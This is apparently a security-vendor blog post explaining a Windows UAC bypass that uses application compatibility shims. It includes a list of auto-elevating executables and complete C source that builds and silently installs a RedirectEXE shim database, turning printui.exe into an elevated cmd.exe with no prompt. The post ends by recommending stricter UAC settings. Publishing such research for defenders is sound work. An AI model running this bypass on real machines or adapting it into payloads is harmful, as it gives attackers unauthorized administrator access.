Shimming Your Way Past UAC

By Fortra's Digital Defense

Using Application Compatibility Fixes To Bypass User Account Control

An often-overlooked method that can be used by an attacker to gain elevated code execution is utilization of a framework that is provided by Microsoft to help legacy applications function on newer versions of Windows. That framework is known as the application compatibility toolkit. Unfortunately, in addition to allowing legacy applications to run on later versions of Windows, it can also allow malware to bypass UAC and gain elevated privileges without the user knowing.

 

The application compatibility toolkit allows developers to apply "shims" to applications that can allow them to function on Windows versions from Vista onward. Since many new security features were introduced in Vista and 7, including user account control, some legacy applications that used to be run on XP and 2000 may have stopped functioning. In some cases the companies that supported these applications might have gone out of business or simply stopped providing support for them. In order to address these concerns, Microsoft introduced the capability to insert shims into these apps to allow them to continue functioning.

 

Now, in order for malware to abuse the application compatibility toolkit, it can either generate a custom shim database on the fly at run time, or embed a shim database in the initial executable and extract it at run time. You will likely see dynamic generation of a custom shim database at run time, however. When I first read about the capabilities of the application compatibility toolkit, I was curious to see if I could create an application that utilized it to bypass UAC and gain elevated permissions. Unfortunately, MSDN is woefully lacking in documentation on how to use the API, though it does at least provide some required structures, data types, and function prototypes. So with this information, I set out to create my own custom shim database that could bypass UAC by using an application fix called "RedirectEXE".

 

With the "RedirectEXE" shim, you can force Windows to load another executable when you launch the application that you created the shim for. The obvious goal here is to shim an application that has elevated privileges so that your code can run under this context with the same permissions. Thankfully, there are a number of Microsoft-signed Windows executables with "AutoElevate" permissions set. A cursory look through my Windows 7 test image showed the following candidates:

 Executables With Auto-Elevate Privileges  
 ========================================  
 AdapterTroubleshooter.exe  
 BitLockerWizardElev.exe  
 CompMgmtLauncher.exe  
 ComputerDefaults.exe  
 DeviceEject.exe  
 DeviceProperties.exe  
 FXSUNATD.exe  
 MdSched.exe  
 MultiDigiMon.exe  
 Netplwiz.exe  
 OptionalFeatures.exe  
 SndVol.exe  
 SystemPropertiesAdvanced.exe  
 SystemPropertiesComputerName.exe  
 SystemPropertiesDataExecutionPrevention.exe  
 SystemPropertiesHardware.exe  
 SystemPropertiesPerformance.exe  
 SystemPropertiesProtection.exe  
 SystemPropertiesRemote.exe  
 TpmInit.exe  
 bthudtask.exe  
 chkntfs.exe  
 cleanmgr.exe  
 cliconfg.exe  
 dccw.exe  
 dcomcnfg.exe  
 dfrgui.exe  
 djoin.exe  
 eudcedit.exe  
 eventvwr.exe  
 fsquirt.exe  
 hdwwiz.exe  
 ieUnatt.exe  
 iscsicli.exe  
 iscsicpl.exe  
 lpksetup.exe  
 msconfig.exe  
 msdt.exe  
 msra.exe  
 newdev.exe  
 ntprint.exe  
 ocsetup.exe  
 odbcad32.exe  
 perfmon.exe  
 printui.exe  
 rdpshell.exe  
 recdisc.exe  
 rstrui.exe  
 sdbinst.exe  
 sdclt.exe  
 shrpubw.exe  
 slui.exe  
 spinstall.exe  
 taskmgr.exe  
 tcmsetup.exe  
 verifier.exe  
 wisptis.exe  
 wusa.exe  

Under the default settings for UAC in Windows 7, if you run any of these executables, you will not be presented with a UAC dialog box asking your permission to run them. Likewise, if you apply a shim to any of these and redirect execution to your own application, your application will not trigger a UAC dialog box either if it attempts to make changes to the system. So to demonstrate this, I picked printui.exe as it seemed innocuous enough to shim.

 

From a developer point of view, when you think about your end goal, you are going to be running an application on your target and you will need to be using functions exported in "apphelp.dll". I am not aware of any header files in Visual Studio or libraries that you can use which contain all the information you will need to build a custom shim database, so I decided to just dynamically load apphelp.dll at runtime and grab pointers to the functions I needed. As part of the process, I created the following header file called apphelp.h:

 // apphelp.h
 #define TAG_TYPE_LIST 28679  
   
 typedef enum _PATH_TYPE {   
  DOS_PATH,  
  NT_PATH  
 } PATH_TYPE;  
   
 typedef HANDLE PDB;  
 typedef DWORD TAG;  
 typedef DWORD INDEXID;  
 typedef DWORD TAGID;  
   
 typedef struct tagATTRINFO {  
  TAG  tAttrID;  
  DWORD dwFlags;  
  union {  
   ULONGLONG ullAttr;  
   DWORD   dwAttr;  
   TCHAR   *lpAttr;  
  };  
 } ATTRINFO, *PATTRINFO;  
   
 typedef PDB (WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE);  
 typedef VOID (WINAPI *SdbCloseDatabasePtr)(PDB);  
 typedef VOID (WINAPI *SdbCloseDatabaseWritePtr)(PDB);  
 typedef BOOL (WINAPI *SdbDeclareIndexPtr)(PDB, TAG, TAG, DWORD, BOOL, INDEXID *);  
 typedef BOOL (WINAPI *SdbCommitIndexesPtr)(PDB);  
 typedef TAGID (WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG);  
 typedef BOOL (WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID);  
 typedef BOOL (WINAPI *SdbWriteQWORDTagPtr)(PDB, TAG, ULONGLONG);  
 typedef BOOL (WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR);  
 typedef BOOL (WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD);  
 typedef BOOL (WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD);  
 typedef BOOL (WINAPI *SdbStartIndexingPtr)(PDB, INDEXID);  
 typedef BOOL (WINAPI *SdbStopIndexingPtr)(PDB, INDEXID);  
   
 typedef struct _APPHELP_API {  
      SdbCreateDatabasePtr         SdbCreateDatabase;  
      SdbCloseDatabasePtr          SdbCloseDatabase;  
      SdbCloseDatabaseWritePtr     SdbCloseDatabaseWrite;  
      SdbDeclareIndexPtr           SdbDeclareIndex;  
      SdbCommitIndexesPtr          SdbCommitIndexes;  
      SdbBeginWriteListTagPtr      SdbBeginWriteListTag;  
      SdbEndWriteListTagPtr        SdbEndWriteListTag;  
      SdbWriteQWORDTagPtr          SdbWriteQWORDTag;  
      SdbWriteStringTagPtr         SdbWriteStringTag;  
      SdbWriteDWORDTagPtr          SdbWriteDWORDTag;  
      SdbWriteBinaryTagPtr         SdbWriteBinaryTag;  
      SdbStartIndexingPtr          SdbStartIndexing;  
      SdbStopIndexingPtr           SdbStopIndexing;  
 } APPHELP_API, *PAPPHELP_API;  

The function pointers are based on information from MSDN and every function is required to generate the custom shim database. An important thing to note is that I based this off of API calls I observed being made by the Application Compatibility Toolkit. Since Microsoft does not provide any documentation on how to use this API, in situations like this you have to take matters in to your own hands.   Here is my corresponding C file that implements the custom shim database and loads it via calls to sdbinst.exe:

 // main.c
 #include "Windows.h"  
 #include "stdio.h"  
 #include "apphelp.h"  
   
 BOOL LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {  
      if(!(pAppHelp->SdbBeginWriteListTag =   
           (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, "SdbBeginWriteListTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbCloseDatabase =   
           (SdbCloseDatabasePtr)GetProcAddress(hAppHelp, "SdbCloseDatabase")))  
           return FALSE;  
      if(!(pAppHelp->SdbCloseDatabaseWrite =   
           (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, "SdbCloseDatabaseWrite")))  
           return FALSE;  
      if(!(pAppHelp->SdbCommitIndexes =   
           (SdbCommitIndexesPtr)GetProcAddress(hAppHelp, "SdbCommitIndexes")))  
           return FALSE;  
      if(!(pAppHelp->SdbCreateDatabase =   
           (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, "SdbCreateDatabase")))  
           return FALSE;  
      if(!(pAppHelp->SdbDeclareIndex =   
           (SdbDeclareIndexPtr)GetProcAddress(hAppHelp, "SdbDeclareIndex")))  
           return FALSE;  
      if(!(pAppHelp->SdbEndWriteListTag =   
           (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, "SdbEndWriteListTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbStartIndexing =   
           (SdbStartIndexingPtr)GetProcAddress(hAppHelp, "SdbStartIndexing")))  
           return FALSE;  
      if(!(pAppHelp->SdbStopIndexing =   
           (SdbStopIndexingPtr)GetProcAddress(hAppHelp, "SdbStopIndexing")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteBinaryTag =   
           (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, "SdbWriteBinaryTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteDWORDTag =   
           (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteDWORDTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteQWORDTag =   
           (SdbWriteQWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteQWORDTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteStringTag =   
           (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, "SdbWriteStringTag")))  
           return FALSE;  
   
      return TRUE;  
 }  
   
 int main(int argc, char *argv[]) {  
      HMODULE hAppHelp = LoadLibrary(L"apphelp.dll");  
      APPHELP_API api = {0};  
      INDEXID idx1, idx2, idx3, idx4, idx5, idx6, idx7, idx8, idx9;  
      TAGID tId1, tId2, tId3, tId4, tId5;  
      PDB db = NULL;  
      BYTE binBuff[] = {0x14, 0x7d, 0xe1, 0xd1, 0xbc, 0xca, 0x6f,   
           0x4f, 0x9f, 0x46, 0xc7, 0xec, 0xf8, 0x13, 0x64, 0x5e};  
      BYTE binBuff2[] = {0x13, 0x08, 0x37, 0x3a, 0x49, 0x21, 0x7d,   
           0x40, 0xb2, 0xcd, 0xee, 0x83, 0xdd, 0x35, 0x3d, 0x83};  
      WCHAR wszTempPath[MAX_PATH] = {0};  
      WCHAR wszUninstall[MAX_PATH] = {0};  
      SHELLEXECUTEINFO ShExec = {0};  
      ShExec.cbSize = sizeof(SHELLEXECUTEINFO);  
      ShExec.fMask = SEE_MASK_NOCLOSEPROCESS;  
      ShExec.hwnd = NULL;  
      ShExec.lpVerb = L"open";  
      ShExec.lpDirectory = NULL;  
      ShExec.hInstApp = NULL;  
   
      if(!LoadAppHelpFunctions(hAppHelp, &api)) {  
           wprintf(L"[-]Failed to load apphelp api!n");  
           return 1;  
      }  
   
      GetEnvironmentVariable(L"TEMP", wszTempPath, MAX_PATH);  
      wcscat_s(wszTempPath, MAX_PATH, L"\mydb.sdb");  
      db = api.SdbCreateDatabase(wszTempPath, DOS_PATH);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 24577, 1, TRUE, &idx1);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 24587, 0, FALSE, &idx2);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 24608, 0, FALSE, &idx3);  
      api.SdbDeclareIndex(db, 28676, 24577, 0, FALSE, &idx4);  
      api.SdbDeclareIndex(db, 28685, 16405, 0, FALSE, &idx5);  
      api.SdbDeclareIndex(db, 28688, 24577, 0, TRUE, &idx6);  
      api.SdbDeclareIndex(db, 28690, 36870, 0, FALSE, &idx7);  
      api.SdbDeclareIndex(db, 28690, 36868, 0, TRUE, &idx8);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 36868, 1, FALSE, &idx9);  
      api.SdbCommitIndexes(db);  
      tId1 = api.SdbBeginWriteListTag(db, 28673);  
      api.SdbWriteQWORDTag(db, 20481, 2900865542);  
      api.SdbWriteStringTag(db, 24610, L"2.1.0.3"); // Version  
      api.SdbWriteStringTag(db, 24577, L"badsdb"); // Custom shim database info  
      api.SdbWriteDWORDTag(db, 16419, 1);  
      api.SdbWriteBinaryTag(db, 36871, binBuff, 16);  
      tId2 = api.SdbBeginWriteListTag(db, 28674);  
      api.SdbStartIndexing(db, idx4);  
      api.SdbStopIndexing(db, idx4);  
      api.SdbStartIndexing(db, idx6);  
      api.SdbStopIndexing(db, idx6);  
      api.SdbEndWriteListTag(db, tId2);  
      api.SdbStartIndexing(db, idx2);  
      api.SdbStopIndexing(db, idx2);  
      api.SdbStartIndexing(db, idx3);  
      api.SdbStopIndexing(db, idx3);  
      api.SdbStartIndexing(db, idx1);  
      api.SdbStartIndexing(db, idx9);  
      tId3 = api.SdbBeginWriteListTag(db, 28679);  
      api.SdbWriteStringTag(db, 24577, L"printui.exe"); // Executable to be shimmed  
      api.SdbWriteStringTag(db, 24582, L"printui32.exe"); // Shim name  
      api.SdbWriteStringTag(db, 24581, L"Microsoft"); // Vendor  
      api.SdbWriteBinaryTag(db, 36868, binBuff2, 16);  
      tId4 = api.SdbBeginWriteListTag(db, 28680);  
      api.SdbWriteStringTag(db, 24577, L"*");  
      api.SdbEndWriteListTag(db, tId4);  
      tId5 = api.SdbBeginWriteListTag(db, 28681);  
      api.SdbWriteStringTag(db, 24577, L"RedirectEXE"); // Fix type  
      api.SdbWriteStringTag(db, 24584, L"c:\windows\system32\cmd.exe"); // Executable to redirect to  
      api.SdbEndWriteListTag(db, tId5);  
      api.SdbEndWriteListTag(db, tId3);  
      api.SdbStopIndexing(db, idx9);  
      api.SdbStopIndexing(db, idx1);  
      api.SdbStartIndexing(db, idx7);  
      api.SdbStartIndexing(db, idx8);  
      api.SdbStopIndexing(db, idx8);  
      api.SdbStopIndexing(db, idx7);  
      api.SdbStartIndexing(db, idx5);  
      api.SdbStopIndexing(db, idx5);  
      api.SdbEndWriteListTag(db, tId1);  
      api.SdbCloseDatabaseWrite(db);  
   
      ShExec.lpFile = L"sdbinst.exe";  
      ShExec.lpParameters = wszTempPath;  
      ShExec.nShow = SW_HIDE;  
      if(!ShellExecuteEx(&ShExec)) {  
           wprintf(L"[-]Failed to execute sdbinst.exe!n");  
           DeleteFile(wszTempPath);  
           return 1;  
      }  
      WaitForSingleObject(ShExec.hProcess, INFINITE);  
      ShExec.lpFile = L"printui.exe";  
      ShExec.lpParameters = NULL;  
      ShExec.nShow = SW_SHOWNORMAL;  
      if(!ShellExecuteEx(&ShExec)) {  
           wprintf(L"[-]Failed to execute shimmed printui.exe!n");  
           DeleteFile(wszTempPath);  
           return 1;  
      }  
      WaitForSingleObject(ShExec.hProcess, INFINITE);  
      wcscpy_s(wszUninstall, MAX_PATH, L"-u ");  
      wcscat_s(wszUninstall, MAX_PATH, wszTempPath);  
      ShExec.lpFile = L"sdbinst.exe";  
      ShExec.lpParameters = wszUninstall;  
      ShExec.nShow = SW_HIDE;  
      if(!ShellExecuteEx(&ShExec)) {  
           wprintf(L"[-]Failed to uninstall custom shim database!n");  
           DeleteFile(wszTempPath);  
           return 1;  
      }  
      WaitForSingleObject(ShExec.hProcess, INFINITE);  
      DeleteFile(wszTempPath);  
   
      return 0;  
 }  

If you run this code, you will end up getting an elevated command prompt box with no UAC prompt, assuming you are running with the default UAC account settings. Obviously if you were using this for malicious purposes, you could redirect to your own dropped payload. When your payload is executed, it will have full permission to write data or execute applications that would normally require elevated rights.

 

The major problem this highlights is that decreasing security settings is never a good solution to user complaints. So many people complained when UAC was rolled out, even though it was a fantastic security measure that if used properly, could stop most malware from doing anything really dangerous. As a result of the complaints, UAC by default is not set to always notify you when programs attempt to make changes or when you try to change settings. If it were set to "Always Notify", attempting to run an application like printui.exe would generate an alert and ask your permission to run. Furthermore, you would also be alerted by sdbinst.exe attempting to run and install the shim.

 

Moral of the story-- even though having to constantly approve applications and changes to settings is annoying, it can really help keep you from inadvertently allowing malware to gain privileged access to your machine.

Share This